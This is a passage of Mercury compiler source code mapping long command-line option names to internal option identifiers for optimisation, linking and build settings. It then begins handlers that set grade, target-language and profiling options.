intermodule_optimization).\nlong_option(\"read-opt-files-transitively\", read_opt_files_transitively).\nlong_option(\"use-opt-files\",        use_opt_files).\nlong_option(\"use-trans-opt-files\",  use_trans_opt_files).\nlong_option(\"transitive-intermodule-optimization\",\n                    transitive_optimization).\nlong_option(\"transitive-intermodule-optimisation\",\n                    transitive_optimization).\nlong_option(\"trans-intermod-opt\",   transitive_optimization).\nlong_option(\"intermodule-analysis\", intermodule_analysis).\nlong_option(\"analysis-repeat\",      analysis_repeat).\nlong_option(\"analysis-file-cache\",  analysis_file_cache).\n\n% HLDS->HLDS optimizations\nlong_option(\"inlining\",             inlining).\nlong_option(\"inline-simple\",        inline_simple).\nlong_option(\"inline-builtins\",      inline_builtins).\nlong_option(\"inline-single-use\",    inline_single_use).\nlong_option(\"inline-call-cost\",     inline_call_cost).\nlong_option(\"inline-compound-threshold\",    inline_compound_threshold).\nlong_option(\"inline-simple-threshold\",      inline_simple_threshold).\nlong_option(\"intermod-inline-simple-threshold\",\n                                    intermod_inline_simple_threshold).\nlong_option(\"from-ground-term-threshold\",\n                                    from_ground_term_threshold).\nlong_option(\"inline-vars-threshold\",        inline_vars_threshold).\nlong_option(\"const-struct\",         enable_const_struct).\nlong_option(\"common-struct\",        common_struct).\nlong_option(\"common-struct-preds\",  common_struct_preds).\nlong_option(\"common-goal\",          common_goal).\nlong_option(\"excess-assign\",        excess_assign).\nlong_option(\"optimize-format-calls\",         optimize_format_calls).\nlong_option(\"optimize-duplicate-calls\", optimize_duplicate_calls).\nlong_option(\"optimise-duplicate-calls\", optimize_duplicate_calls).\nlong_option(\"optimise-constant-propagation\", constant_propagation).\nlong_option(\"optimize-constant-propagation\", constant_propagation).\nlong_option(\"optimize-saved-vars\",  optimize_saved_vars).\nlong_option(\"optimise-saved-vars\",  optimize_saved_vars).\nlong_option(\"loop-invariants\",      loop_invariants).\nlong_option(\"optimize-saved-vars-const\",    optimize_saved_vars_const).\nlong_option(\"optimise-saved-vars-const\",    optimize_saved_vars_const).\nlong_option(\"optimize-saved-vars-cell\", optimize_saved_vars_cell).\nlong_option(\"optimise-saved-vars-cell\", optimize_saved_vars_cell).\nlong_option(\"osv-loop\",             optimize_saved_vars_cell_loop).\nlong_option(\"osv-full-path\",        optimize_saved_vars_cell_full_path).\nlong_option(\"osv-on-stack\",         optimize_saved_vars_cell_on_stack).\nlong_option(\"osv-cand-head\",\n                            optimize_saved_vars_cell_candidate_headvars).\n% The next four options are used by tupling.m as well; changes to them\n% may require changes there as well.\nlong_option(\"osv-cvstore-cost\",     optimize_saved_vars_cell_cv_store_cost).\nlong_option(\"osv-cvload-cost\",      optimize_saved_vars_cell_cv_load_cost).\nlong_option(\"osv-fvstore-cost\",     optimize_saved_vars_cell_fv_store_cost).\nlong_option(\"osv-fvload-cost\",      optimize_saved_vars_cell_fv_load_cost).\nlong_option(\"osv-op-ratio\",         optimize_saved_vars_cell_op_ratio).\nlong_option(\"osv-node-ratio\",       optimize_saved_vars_cell_node_ratio).\nlong_option(\"osv-allpath-node-ratio\",\n                            optimize_saved_vars_cell_all_path_node_ratio).\nlong_option(\"osv-all-cand\",\n                            optimize_saved_vars_cell_include_all_candidates).\nlong_option(\"delay-construct\",      delay_construct).\nlong_option(\"delay-constructs\",     delay_construct).\nlong_option(\"follow-code\",          follow_code).\nlong_option(\"constraint-propagation\",   constraint_propagation).\nlong_option(\"local-constraint-propagation\", local_constraint_propagation).\nlong_option(\"optimize-unused-args\", optimize_unused_args).\nlong_option(\"optimise-unused-args\", optimize_unused_args).\nlong_option(\"intermod-unused-args\", intermod_unused_args).\nlong_option(\"optimize-higher-order\",    optimize_higher_order).\nlong_option(\"optimise-higher-order\",    optimize_higher_order).\nlong_option(\"higher-order-size-limit\",  higher_order_size_limit).\nlong_option(\"higher-order-arg-limit\",   higher_order_arg_limit).\nlong_option(\"unneeded-code\",        unneeded_code).\nlong_option(\"unneeded-code-copy-limit\", unneeded_code_copy_limit).\nlong_option(\"unneeded-code-debug\",  unneeded_code_debug).\nlong_option(\"unneeded-code-debug-pred-name\",  unneeded_code_debug_pred_name).\nlong_option(\"type-specialization\",  type_specialization).\nlong_option(\"type-specialisation\",  type_specialization).\nlong_option(\"user-guided-type-specialization\",\n                    user_guided_type_specialization).\nlong_option(\"user-guided-type-specialisation\",\n                    user_guided_type_specialization).\n% This option is for use in configure.in to test for some bug-fixes for\n% type-specialization which are needed to compile the library. It's not\n% documented, and should eventually be removed.\nlong_option(\"fixed-user-guided-type-specialization\",\n                    user_guided_type_specialization).\nlong_option(\"introduce-accumulators\",   introduce_accumulators).\nlong_option(\"optimise-constructor-last-call-accumulator\",\n                    optimize_constructor_last_call_accumulator).\nlong_option(\"optimize-constructor-last-call-accumulator\",\n                    optimize_constructor_last_call_accumulator).\nlong_option(\"optimise-constructor-last-call-null\",\n                    optimize_constructor_last_call_null).\nlong_option(\"optimize-constructor-last-call-null\",\n                    optimize_constructor_last_call_null).\nlong_option(\"optimise-constructor-last-call\",\n                    optimize_constructor_last_call).\nlong_option(\"optimize-constructor-last-call\",\n                    optimize_constructor_last_call).\nlong_option(\"optimize-dead-procs\",  optimize_dead_procs).\nlong_option(\"optimise-dead-procs\",  optimize_dead_procs).\nlong_option(\"deforestation\",        deforestation).\nlong_option(\"deforestation-depth-limit\",    deforestation_depth_limit).\nlong_option(\"deforestation-cost-factor\",    deforestation_cost_factor).\nlong_option(\"deforestation-vars-threshold\", deforestation_vars_threshold).\nlong_option(\"deforestation-size-threshold\", deforestation_size_threshold).\nlong_option(\"enable-termination\",   termination).\nlong_option(\"enable-term\",          termination).\nlong_option(\"check-termination\",    termination_check).\nlong_option(\"check-term\",           termination_check).\nlong_option(\"chk-term\",             termination_check).\nlong_option(\"verbose-check-termination\",verbose_check_termination).\nlong_option(\"verb-check-term\",      verbose_check_termination).\nlong_option(\"verb-chk-term\",        verbose_check_termination).\nlong_option(\"termination-single-argument-analysis\",\n                    termination_single_args).\nlong_option(\"term-single-arg\",      termination_single_args).\nlong_option(\"termination-norm\",     termination_norm).\nlong_option(\"term-norm\",            termination_norm).\nlong_option(\"termination-error-limit\",  termination_error_limit).\nlong_option(\"term-err-limit\",       termination_error_limit).\nlong_option(\"termination-path-limit\",   termination_path_limit).\nlong_option(\"term-path-limit\",      termination_path_limit).\nlong_option(\"enable-termination2\",  termination2).\nlong_option(\"enable-term2\",         termination2).\nlong_option(\"check-termination2\",   check_termination2).\nlong_option(\"check-term2\",          check_termination2).\nlong_option(\"chk-term2\",            check_termination2).\nlong_option(\"verbose-check-termination2\",verbose_check_termination2).\nlong_option(\"verb-check-term2\",     verbose_check_termination2).\nlong_option(\"verb-chk-term2\",       verbose_check_termination2).\nlong_option(\"termination2-widening-limit\", widening_limit).\nlong_option(\"term2-widening-limit\",     widening_limit).\nlong_option(\"arg-size-analysis-only\",   arg_size_analysis_only).\nlong_option(\"termination2-propagate-failure-constraints\",\n                    propagate_failure_constrs).\nlong_option(\"term2-propagate-failure-constraints\",\n                    propagate_failure_constrs).\nlong_option(\"term2-propagate-failure-constrs\", propagate_failure_constrs).\nlong_option(\"termination2-norm\", termination2_norm).\nlong_option(\"term2-norm\", termination2_norm).\nlong_option(\"termination2-maximum-matrix-size\", term2_maximum_matrix_size).\nlong_option(\"term2-max-matrix-size\", term2_maximum_matrix_size).\nlong_option(\"analyse-exceptions\",   analyse_exceptions).\nlong_option(\"analyse-closures\",     analyse_closures).\nlong_option(\"analyse-local-closures\",   analyse_closures).\nlong_option(\"analyse-trail-usage\",  analyse_trail_usage).\nlong_option(\"optimize-trail-usage\", optimize_trail_usage).\nlong_option(\"optimize-region-ops\",  optimize_region_ops).\nlong_option(\"analyse-mm-tabling\",   analyse_mm_tabling).\nlong_option(\"untuple\",              untuple).\nlong_option(\"tuple\",                tuple).\nlong_option(\"tuple-trace-counts-file\",  tuple_trace_counts_file).\nlong_option(\"tuple-costs-ratio\",    tuple_costs_ratio).\nlong_option(\"tuple-min-args\",       tuple_min_args).\nlong_option(\"inline-par-builtins\",  inline_par_builtins).\nlong_option(\"always-specialize-in-dep-par-conjs\",\n                                    always_specialize_in_dep_par_conjs).\nlong_option(\"allow-some-paths-only-waits\",\n                                    allow_some_paths_only_waits).\n\n% CTGC related options.\nlong_option(\"structure-sharing\",    structure_sharing_analysis).\nlong_option(\"structure-sharing-widening\", structure_sharing_widening).\nlong_option(\"structure-reuse\",      structure_reuse_analysis).\nlong_option(\"ctgc\",                 structure_reuse_analysis).\nlong_option(\"structure-reuse-constraint\", structure_reuse_constraint).\nlong_option(\"ctgc-constraint\",      structure_reuse_constraint).\nlong_option(\"structure-reuse-constraint-arg\", structure_reuse_constraint_arg).\nlong_option(\"ctgc-constraint-arg\",  structure_reuse_constraint_arg).\nlong_option(\"structure-reuse-max-conditions\", structure_reuse_max_conditions).\nlong_option(\"structure-reuse-repeat\", structure_reuse_repeat).\nlong_option(\"structure-reuse-free-cells\", structure_reuse_free_cells).\n\n% HLDS->LLDS optimizations\nlong_option(\"smart-indexing\",       smart_indexing).\nlong_option(\"dense-switch-req-density\", dense_switch_req_density).\nlong_option(\"lookup-switch-req-density\",lookup_switch_req_density).\nlong_option(\"dense-switch-size\",    dense_switch_size).\nlong_option(\"lookup-switch-size\",   lookup_switch_size).\nlong_option(\"string-switch-size\",   string_hash_switch_size).\nlong_option(\"string-hash-switch-size\",      string_hash_switch_size).\nlong_option(\"string-binary-switch-size\",    string_binary_switch_size).\nlong_option(\"tag-switch-size\",      tag_switch_size).\nlong_option(\"try-switch-size\",      try_switch_size).\nlong_option(\"binary-switch-size\",   binary_switch_size).\nlong_option(\"switch-single-rec-base-first\", switch_single_rec_base_first).\nlong_option(\"switch-multi-rec-base-first\",  switch_multi_rec_base_first).\nlong_option(\"static-ground-terms\",  static_ground_cells).\n% static_ground_floats should be set only in handle_options.m.\n% long_option(\"static-ground-floats\", static_ground_floats).\n% static_code_addresses should be set only in handle_options.m.\n% long_option(\"static-code-addresses\", static_code_addresses).\nlong_option(\"use-atomic-cells\",     use_atomic_cells).\nlong_option(\"middle-rec\",           middle_rec).\nlong_option(\"simple-neg\",           simple_neg).\nlong_option(\"allow-hijacks\",        allow_hijacks).\n\n% MLDS optimizations\n% Option `optimize' is used for both MLDS and LLDS optimizations, but since\n% you can't use both at the same time it doesn't really matter.\nlong_option(\"mlds-optimize\",        optimize).\nlong_option(\"mlds-optimise\",        optimize).\nlong_option(\"mlds-peephole\",        optimize_peep).\nlong_option(\"optimize-tailcalls\",   optimize_tailcalls).\nlong_option(\"optimise-tailcalls\",   optimize_tailcalls).\nlong_option(\"optimize-initializations\", optimize_initializations).\nlong_option(\"optimise-initializations\", optimize_initializations).\nlong_option(\"eliminate-local-vars\", eliminate_local_vars).\nlong_option(\"generate-trail-ops-inline\", generate_trail_ops_inline).\n\n% LLDS optimizations\nlong_option(\"common-data\",          common_data).\nlong_option(\"common-layout-data\",   common_layout_data).\nlong_option(\"llds-optimize\",        optimize).\nlong_option(\"llds-optimise\",        optimize).\nlong_option(\"optimize-peep\",        optimize_peep).\nlong_option(\"optimise-peep\",        optimize_peep).\nlong_option(\"optimize-peep-mkword\", optimize_peep_mkword).\nlong_option(\"optimise-peep-mkword\", optimize_peep_mkword).\nlong_option(\"optimize-jumps\",       optimize_jumps).\nlong_option(\"optimise-jumps\",       optimize_jumps).\nlong_option(\"optimize-fulljumps\",   optimize_fulljumps).\nlong_option(\"optimise-fulljumps\",   optimize_fulljumps).\nlong_option(\"pessimize-tailcalls\",  pessimize_tailcalls).\nlong_option(\"checked-nondet-tailcalls\", checked_nondet_tailcalls).\nlong_option(\"use-local-vars\",       use_local_vars).\nlong_option(\"local-var-access-threshold\", local_var_access_threshold).\nlong_option(\"standardise-labels\",   standardize_labels).\nlong_option(\"standardize-labels\",   standardize_labels).\nlong_option(\"optimize-labels\",      optimize_labels).\nlong_option(\"optimise-labels\",      optimize_labels).\nlong_option(\"optimize-dups\",        optimize_dups).\nlong_option(\"optimise-dups\",        optimize_dups).\nlong_option(\"optimize-proc-dups\",   optimize_proc_dups).\nlong_option(\"optimise-proc-dups\",   optimize_proc_dups).\n%%% long_option(\"optimize-copyprop\",    optimize_copyprop).\n%%% long_option(\"optimise-copyprop\",    optimize_copyprop).\nlong_option(\"optimize-frames\",      optimize_frames).\nlong_option(\"optimise-frames\",      optimize_frames).\nlong_option(\"optimize-delay-slot\",  optimize_delay_slot).\nlong_option(\"optimise-delay-slot\",  optimize_delay_slot).\nlong_option(\"optimize-reassign\",    optimize_reassign).\nlong_option(\"optimise-reassign\",    optimize_reassign).\nlong_option(\"optimize-repeat\",      optimize_repeat).\nlong_option(\"optimise-repeat\",      optimize_repeat).\nlong_option(\"layout-compression-limit\",      layout_compression_limit).\n\n% LLDS->C optimizations\nlong_option(\"use-macro-for-redo-fail\",  use_macro_for_redo_fail).\nlong_option(\"emit-c-loops\",         emit_c_loops).\nlong_option(\"procs-per-c-function\", procs_per_c_function).\nlong_option(\"procs-per-C-function\", procs_per_c_function).\nlong_option(\"everything-in-one-c-function\", everything_in_one_c_function).\nlong_option(\"everything-in-one-C-function\", everything_in_one_c_function).\nlong_option(\"inline-alloc\",         inline_alloc).\nlong_option(\"local-thread-engine-base\", local_thread_engine_base).\n\n% Erlang\nlong_option(\"erlang-switch-on-strings-as-atoms\",\n                erlang_switch_on_strings_as_atoms).\n\n% Target code compilation options\nlong_option(\"target-debug\",         target_debug).\n\nlong_option(\"cc\",                   cc).\nlong_option(\"c-optimise\",           c_optimize).\nlong_option(\"c-optimize\",           c_optimize).\n% XXX we should consider the relationship between c_debug and target_debug\n% more carefully. Perhaps target_debug could imply C debug if the target is C.\n% However for the moment they are just synonyms.\nlong_option(\"c-debug\",              target_debug).\nlong_option(\"c-include-directory\",  c_include_directory).\nlong_option(\"c-include-dir\",        c_include_directory).\nlong_option(\"ansi-c\",               ansi_c).\nlong_option(\"cflags\",               cflags).\nlong_option(\"cflag\",                quoted_cflag).\n\nlong_option(\"gcc-flags\",            gcc_flags).\nlong_option(\"gcc-flag\",             quoted_gcc_flag).\nlong_option(\"clang-flags\",          clang_flags).\nlong_option(\"clang-flag\",           quoted_clang_flag).\nlong_option(\"msvc-flags\",           msvc_flags).\nlong_option(\"msvc-flag\",            quoted_msvc_flag).\n\nlong_option(\"cflags-for-warnings\",  cflags_for_warnings).\nlong_option(\"cflags-for-optimization\",  cflags_for_optimization).\nlong_option(\"cflags-for-ansi\",      cflags_for_ansi).\nlong_option(\"cflags-for-regs\",      cflags_for_regs).\nlong_option(\"cflags-for-gotos\",     cflags_for_gotos).\nlong_option(\"cflags-for-threads\",   cflags_for_threads).\nlong_option(\"cflags-for-debug\",     cflags_for_debug).\nlong_option(\"cflags-for-pic\",       cflags_for_pic).\nlong_option(\"c-flag-to-name-object-file\", c_flag_to_name_object_file).\nlong_option(\"object-file-extension\",    object_file_extension).\nlong_option(\"pic-object-file-extension\", pic_object_file_extension).\nlong_option(\"link-with-pic-object-file-extension\",\n                    link_with_pic_object_file_extension).\nlong_option(\"c-compiler-type\",      c_compiler_type).\nlong_option(\"csharp-compiler-type\", csharp_compiler_type).\n\n\nlong_option(\"java-compiler\",        java_compiler).\nlong_option(\"javac\",                java_compiler).\nlong_option(\"java-interpreter\",     java_interpreter).\nlong_option(\"java-flags\",           java_flags).\nlong_option(\"java-flag\",            quoted_java_flag).\n% XXX we should consider the relationship between java_debug and target_debug\n% more carefully. Perhaps target_debug could imply Java debug if the target\n% is Java. However for the moment they are just synonyms.\nlong_option(\"java-debug\",           target_debug).\nlong_option(\"java-classpath\",       java_classpath).\nlong_option(\"java-object-file-extension\", java_object_file_extension).\n\nlong_option(\"il-assembler\",         il_assembler).\nlong_option(\"ilasm-flags\",          ilasm_flags).\nlong_option(\"ilasm-flag\",           quoted_ilasm_flag).\nlong_option(\"dotnet-library-version\",   dotnet_library_version).\nlong_option(\"support-ms-clr\",       support_ms_clr).\nlong_option(\"support-rotor-clr\",    support_rotor_clr).\n\nlong_option(\"csharp-compiler\",      csharp_compiler).\nlong_option(\"csharp-flags\",         csharp_flags).\nlong_option(\"csharp-flag\",          quoted_csharp_flag).\nlong_option(\"cli-interpreter\",      cli_interpreter).\n\nlong_option(\"erlang-compiler\",      erlang_compiler).\nlong_option(\"erlang-interpreter\",   erlang_interpreter).\nlong_option(\"erlang-flags\",         erlang_flags).\nlong_option(\"erlang-flag\",          quoted_erlang_flag).\nlong_option(\"erlang-include-directory\", erlang_include_directory).\nlong_option(\"erlang-include-dir\",       erlang_include_directory).\nlong_option(\"erlang-object-file-extension\", erlang_object_file_extension).\nlong_option(\"erlang-native-code\",   erlang_native_code).\nlong_option(\"erlang-inhibit-trivial-warnings\",\n                                    erlang_inhibit_trivial_warnings).\n\n% link options\nlong_option(\"output-file\",          output_file_name).\nlong_option(\"ld-flags\",             ld_flags).\nlong_option(\"ld-flag\",              quoted_ld_flag).\nlong_option(\"ld-libflags\",          ld_libflags).\nlong_option(\"ld-libflag\",           quoted_ld_libflag).\nlong_option(\"library-directory\",    link_library_directories).\nlong_option(\"runtime-library-directory\", runtime_link_library_directories).\nlong_option(\"library\",              link_libraries).\nlong_option(\"link-object\",          link_objects).\nlong_option(\"mercury-library\",      mercury_library_special).\nlong_option(\"ml\",                   mercury_library_special).\nlong_option(\"mercury-library-directory\", mercury_library_directory_special).\nlong_option(\"mld\",                  mercury_library_directory_special).\nlong_option(\"search-library-files-directory\",\n                search_library_files_directory_special).\nlong_option(\"search-lib-files-dir\",\n                search_library_files_directory_special).\nlong_option(\"mercury-standard-library-directory\",\n                mercury_standard_library_directory_special).\nlong_option(\"mercury-stdlib-dir\",\n                mercury_standard_library_directory_special).\nlong_option(\"init-file-directory\",  init_file_directories).\nlong_option(\"init-file\",            init_files).\nlong_option(\"trace-init-file\",      trace_init_files).\nlong_option(\"linkage\",              linkage_special).\nlong_option(\"mercury-linkage\",      mercury_linkage_special).\nlong_option(\"demangle\",             demangle).\nlong_option(\"strip\",                strip).\nlong_option(\"main\",                 main).\nlong_option(\"allow-undefined\",      allow_undefined).\nlong_option(\"use-readline\",         use_readline).\nlong_option(\"runtime-flags\",        runtime_flags).\nlong_option(\"extra-initialization-functions\",\n                    extra_initialization_functions).\nlong_option(\"extra-inits\",      extra_initialization_functions).\nlong_option(\"framework\",        frameworks).\nlong_option(\"framework-directory\", framework_directories).\n\nlong_option(\"shared-library-extension\", shared_library_extension).\nlong_option(\"library-extension\",    library_extension).\nlong_option(\"executable-file-extension\", executable_file_extension).\nlong_option(\"create-archive-command\",   create_archive_command).\nlong_option(\"create-archive-command-output-flag\",\n                    create_archive_command_output_flag).\nlong_option(\"create-archive-command-flags\", create_archive_command_flags).\nlong_option(\"link-executable-command\",  link_executable_command).\nlong_option(\"link-shared-lib-command\",  link_shared_lib_command).\nlong_option(\"ranlib-command\",       ranlib_command).\nlong_option(\"ranlib-flags\",         ranlib_flags).\nlong_option(\"mkinit-command\",       mkinit_command).\nlong_option(\"mkinit-erl-command\",   mkinit_erl_command).\nlong_option(\"demangle-command\",     demangle_command).\nlong_option(\"filtercc-command\",     filtercc_command).\nlong_option(\"trace-libs\",           trace_libs).\nlong_option(\"thread-libs\",          thread_libs).\nlong_option(\"hwloc-libs\",           hwloc_libs).\nlong_option(\"hwloc-static-libs\",    hwloc_static_libs).\nlong_option(\"shared-libs\",          shared_libs).\nlong_option(\"math-lib\",             math_lib).\nlong_option(\"readline-libs\",        readline_libs).\nlong_option(\"linker-opt-separator\", linker_opt_separator).\nlong_option(\"linker-debug-flags\",   linker_debug_flags).\nlong_option(\"shlib-linker-debug-flags\", shlib_linker_debug_flags).\nlong_option(\"linker-trace-flags\",   linker_trace_flags).\nlong_option(\"shlib-linker-trace-flags\", shlib_linker_trace_flags).\nlong_option(\"linker-thread-flags\",  linker_thread_flags).\nlong_option(\"shlib-linker-thread-flags\", shlib_linker_thread_flags).\nlong_option(\"linker-static-flags\",  linker_static_flags).\nlong_option(\"linker-strip-flag\",    linker_strip_flag).\nlong_option(\"linker-link-lib-flag\", linker_link_lib_flag).\nlong_option(\"linker-link-lib-suffix\",   linker_link_lib_suffix).\nlong_option(\"shlib-linker-link-lib-flag\", shlib_linker_link_lib_flag).\nlong_option(\"shlib-linker-link-lib-suffix\", shlib_linker_link_lib_suffix).\nlong_option(\"linker-path-flag\",     linker_path_flag).\nlong_option(\"linker-rpath-flag\",    linker_rpath_flag).\nlong_option(\"linker-rpath-separator\",   linker_rpath_separator).\nlong_option(\"shlib-linker-rpath-flag\",  shlib_linker_rpath_flag).\nlong_option(\"shlib-linker-rpath-separator\", shlib_linker_rpath_separator).\nlong_option(\"linker-allow-undefined-flag\", linker_allow_undefined_flag).\nlong_option(\"linker-error-undefined-flag\", linker_error_undefined_flag).\nlong_option(\"shlib-linker-use-install-name\", shlib_linker_use_install_name).\nlong_option(\"shlib-linker-install-name-flag\", shlib_linker_install_name_flag).\nlong_option(\"shlib-linker-install-name-path\", shlib_linker_install_name_path).\nlong_option(\"java-archive-command\", java_archive_command).\n\n% build system options\nlong_option(\"make\",                 make).\nlong_option(\"keep-going\",           keep_going).\nlong_option(\"rebuild\",              rebuild).\nlong_option(\"jobs\",                 jobs).\nlong_option(\"track-flags\",          track_flags).\nlong_option(\"track-options\",        track_flags).\nlong_option(\"invoked-by-mmc-make\",  invoked_by_mmc_make).\nlong_option(\"pre-link-command\",     pre_link_command).\nlong_option(\"extra-init-command\",   extra_init_command).\nlong_option(\"mercury-configuration-directory\",\n                mercury_configuration_directory_special).\nlong_option(\"mercury-config-dir\",\n                mercury_configuration_directory_special).\nlong_option(\"install-prefix\",       install_prefix).\nlong_option(\"install-command\",      install_command).\nlong_option(\"install-command-dir-option\", install_command_dir_option).\nlong_option(\"use-symlinks\",         use_symlinks).\nlong_option(\"library-grade\",        libgrades).\nlong_option(\"libgrade\",             libgrades).\nlong_option(\"libgrades-include-component\", libgrades_include_components).\nlong_option(\"libgrades-include\",           libgrades_include_components).\nlong_option(\"libgrades-exclude-component\", libgrades_exclude_components).\nlong_option(\"libgrades-exclude\",           libgrades_exclude_components).\nlong_option(\"library-linkage\",      lib_linkages).\nlong_option(\"lib-linkage\",          lib_linkages).\nlong_option(\"flags\",                flags_file).\nlong_option(\"flags-file\",           flags_file).\nlong_option(\"options-file\",         options_files).\nlong_option(\"config-file\",          config_file).\nlong_option(\"options-search-directory\", options_search_directories).\nlong_option(\"use-subdirs\",          use_subdirs).\nlong_option(\"use-grade-subdirs\",    use_grade_subdirs).\nlong_option(\"search-directory\",     search_directories).\nlong_option(\"intermod-directory\",   intermod_directories).\nlong_option(\"use-search-directories-for-intermod\",\n                    use_search_directories_for_intermod).\nlong_option(\"libgrade-install-check\", libgrade_install_check).\nlong_option(\"order-make-by-timestamp\", order_make_by_timestamp).\nlong_option(\"show-make-times\",      show_make_times).\nlong_option(\"extra-lib-header\",     extra_library_header).\nlong_option(\"extra-library-header\", extra_library_header).\nlong_option(\"restricted-command-line\", restricted_command_line).\nlong_option(\"env-type\",                env_type).\nlong_option(\"host-env-type\",           host_env_type).\nlong_option(\"target-env-type\",         target_env_type).\n\n% misc options\nlong_option(\"typecheck-ambiguity-warn-limit\",\n                                    typecheck_ambiguity_warn_limit).\nlong_option(\"typecheck-ambiguity-error-limit\",\n                                    typecheck_ambiguity_error_limit).\nlong_option(\"help\",                 help).\nlong_option(\"version\",              version).\nlong_option(\"filenames-from-stdin\", filenames_from_stdin).\nlong_option(\"fullarch\",             fullarch).\nlong_option(\"cross-compiling\",      cross_compiling).\nlong_option(\"local-module-id\",      local_module_id).\nlong_option(\"analysis-file-cache-dir\",  analysis_file_cache_dir).\nlong_option(\"bug-intermod-2002-06-13\",  compiler_sufficiently_recent).\nlong_option(\"bug-intermod-2006-09-28\",  compiler_sufficiently_recent).\nlong_option(\"bug-foreign_import-2002-08-06\", compiler_sufficiently_recent).\nlong_option(\"install-opt-files-2002-08-30\", compiler_sufficiently_recent).\nlong_option(\"read-config-file-2003-03-01\", compiler_sufficiently_recent).\n% XXX this option won't be recognised because of the \"no-\" prefix,\n% but \"no-no-\" will be recognised.\nlong_option(\"no-noncompact-ho-call-2004-01-15\", compiler_sufficiently_recent).\nlong_option(\"trace-io-builtins-2006-08-14\", compiler_sufficiently_recent).\nlong_option(\"compound-compare-builtins-2007-07-09\",\n                                    compiler_sufficiently_recent).\n% XXX this option won't be recognised because of the \"no-\" prefix,\n% but \"no-no-\" will be recognised.\nlong_option(\"no-det-warning-compound-compare-2007-07-17\",\n                                    compiler_sufficiently_recent).\nlong_option(\"foreign-enum-switch-fix\",\n                                    compiler_sufficiently_recent).\nlong_option(\"failing-disjunct-in-switch-dup-fix\",\n                                    compiler_sufficiently_recent).\nlong_option(\"store-at-ref-impure-2008-09-11\",\n                                    compiler_sufficiently_recent).\nlong_option(\"java-export-ref-out\",  compiler_sufficiently_recent).\nlong_option(\"java-generics-2010-04-13\",\n                                    compiler_sufficiently_recent).\nlong_option(\"experiment\",           experiment).\nlong_option(\"ignore-par-conjunctions\",\n                                    ignore_par_conjunctions).\nlong_option(\"control-granularity\",  control_granularity).\nlong_option(\"distance-granularity\", distance_granularity).\nlong_option(\"implicit-parallelism\", implicit_parallelism).\nlong_option(\"feedback-file\",        feedback_file).\nlong_option(\"par-loop-control\",     par_loop_control).\nlong_option(\"par-loop-control-preserve-tail-recursion\",\n                                    par_loop_control_preserve_tail_recursion).\n\n%-----------------------------------------------------------------------------%\n\nspecial_handler(grade, string(Grade), OptionTable0, Result) :-\n    ( convert_grade_option(Grade, OptionTable0, OptionTable) ->\n        Result = ok(OptionTable)\n    ;\n        Result = error(\"invalid grade `\" ++ Grade ++ \"'\")\n    ).\nspecial_handler(il, none, !.OptionTable, ok(!:OptionTable)) :-\n    map.set(target, string(\"il\"), !OptionTable).\nspecial_handler(il_only, none, !.OptionTable, ok(!:OptionTable)) :-\n    map.set(target, string(\"il\"), !OptionTable),\n    map.set(target_code_only, bool(yes), !OptionTable).\nspecial_handler(compile_to_c, none, !.OptionTable, ok(!:OptionTable)) :-\n    map.set(target, string(\"c\"), !OptionTable),\n    map.set(target_code_only, bool(yes), !OptionTable).\nspecial_handler(java, none, !.OptionTable, ok(!:OptionTable)) :-\n    map.set(target, string(\"java\"), !OptionTable).\nspecial_handler(java_only, none, !.OptionTable, ok(!:OptionTable)) :-\n    map.set(target, string(\"java\"), !OptionTable),\n    map.set(target_code_only, bool(yes), !OptionTable).\nspecial_handler(csharp, none, !.OptionTable, ok(!:OptionTable)) :-\n    map.set(target, string(\"csharp\"), !OptionTable).\nspecial_handler(csharp_only, none, !.OptionTable, ok(!:OptionTable)) :-\n    map.set(target, string(\"csharp\"), !OptionTable),\n    map.set(target_code_only, bool(yes), !OptionTable).\nspecial_handler(x86_64, none, !.OptionTable, ok(!:OptionTable)) :-\n    map.set(target, string(\"x86_64\"), !OptionTable).\nspecial_handler(x86_64_only, none, !.OptionTable, ok(!:OptionTable)) :-\n    map.set(target, string(\"x86_64\"), !OptionTable),\n    map.set(target_code_only, bool(yes), !OptionTable).\nspecial_handler(erlang, none, !.OptionTable, ok(!:OptionTable)) :-\n    map.set(target, string(\"erlang\"), !OptionTable).\nspecial_handler(erlang_only, none, !.OptionTable, ok(!:OptionTable)) :-\n    map.set(target, string(\"erlang\"), !OptionTable),\n    map.set(target_code_only, bool(yes), !OptionTable).\nspecial_handler(profiling, bool(Value), !.OptionTable, ok(!:OptionTable)) :-\n    map.set(profile_time, bool(Value), !OptionTable),\n    map.set(profile_calls, bool(Value), !OptionTable),\n    map.set(profile_memory, bool(no), !OptionTable),\n    map.set(profile_deep, bool(no), !OptionTable).\nspecial_handler(time_profiling, none, !.OptionTable, ok(!:OptionTable)) :-\n    map.set(profile_time, bool(yes), !OptionTable),\n    map.set(profile_calls, bool(yes), !OptionTable),\n    map.set(profile_memory, bool(no), !OptionTable),\n    map.set(profile_deep, bool(no), !OptionTable).\nspecial_handler(memory_profiling, none, !.OptionTable, ok(!:OptionTable)) :-\n    map.set(profile_time, bool(no), !OptionTable),\n    map.set(profile_calls, bool(yes), !OptionTable),\n    map.set(profile_memory, bool(yes), !OptionTable),\n    map.set(profile_deep, bool(no), !OptionTable).\nspecial_handler(deep_profiling, none, !.OptionTable, ok(!:OptionTable)) :-\n    map.set(profile_time, bool(no), !OptionTable),\n    map.set(profile_calls, bool(no), !OptionTable),\n    map.set(profile_memory, bool(no), !OptionTable),\n    map.set(profile_deep, bool(yes), !OptionTable).\nspecial_handler(inlining, bool(Value), !.OptionTable, ok(!:OptionTable)) :-\n    map.set(inline_simple, bool(Value), !OptionTable),\n    map.set(inline_builtins, bool(Value), !OptionTable),\n    map.set(inline_single_use, bool(Value), !OptionTable),\n    (\n        Value = yes,\n        map.set(inline_compound_threshold, int(10), !OptionTable)\n    ;\n        Value = no,\n        map.set(inline_compound_threshold, int(0), !OptionTable)\n    ).\nspecial_handler(everything_in_one_c_function, none, !.OptionTable,\n        ok(!:OptionTable)) :-\n    map.set(procs_per_c_function, int(0), !OptionTable).\nspecial_handler(reclaim_heap_on_failure, bool(Value), !.OptionTable,\n            ok(!:OptionTable)) :-\n    map.set(reclaim_heap_on_semidet_failure, bool(Value), !OptionTable),\n    map.set(reclaim_heap_on_nondet_failure, bool(Value), !OptionTable).\nspecial_handler(strict_sequential, none, !.OptionTable, ok(!:OptionTable)) :-\n    override_options([\n            reorder_conj - bool(no),\n            reorder_disj - bool(no),\n            fully_strict - bool(yes)\n        ], !OptionTable).\nspecial_handler(inhibit_warnings, bool(Inhibit), !.OptionTable,\n        ok(!:OptionTable)) :-\n    bool.not(Inhibit, Enable),\n    override_options([\n            